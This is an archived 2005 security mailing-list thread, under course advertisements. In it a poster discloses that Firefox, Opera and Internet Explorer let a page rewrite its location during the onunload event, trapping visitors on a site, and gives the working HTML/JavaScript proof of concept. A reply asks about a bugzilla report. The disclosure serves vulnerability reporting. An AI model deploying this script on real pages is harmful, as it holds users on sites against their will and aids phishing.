Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

RE: unload event in ie/mozilla/opera

Subject: RE: unload event in ie/mozilla/opera
Date: Thu, 25 Aug 2005 10:44:04 -0400
Has this been reported in bugzilla?  I can't find it anywhere....

Cheers,
Clint


-----Original Message-----
From: Tobias Boonstoppel [mailto:boonstoppel@gmail.com]
Sent: Tuesday, August 23, 2005 7:10 AM
To: bugtraq@securityfocus.com
Subject: unload event in ie/mozilla/opera


in nearly all browsers* you can overwrite the window location in the 
"onunload" event.

that means you can "keep" the user on a site. when you type a new url 
in the address-bar, javascript overwrites it. thats a paradies for 
fishers, porn-site-hoster etc......

here the html/javascript code:

<html>
<head>
<script>
window.unlock = false;
window.onunload=function()
{
if(!window.unlock)
 window.location.href='unload.html';
}
document.onmousedown=function()
{
  window.unlock = true;
}
</script>
</head>
<body>
<a href="?link=1">Link 1</a><br>
<a href="?link=2">Link 2</a><br>
<a href="?link=3">Link 3</a><br>
<a href="?link=4">Link 4</a><br>
</body>
</html>


cheers
Tobias Boonstoppel


ps: * i testet it on firefox (linux / window) opera (linux) and 
internet explorer.


<Prev in Thread] Current Thread [Next in Thread>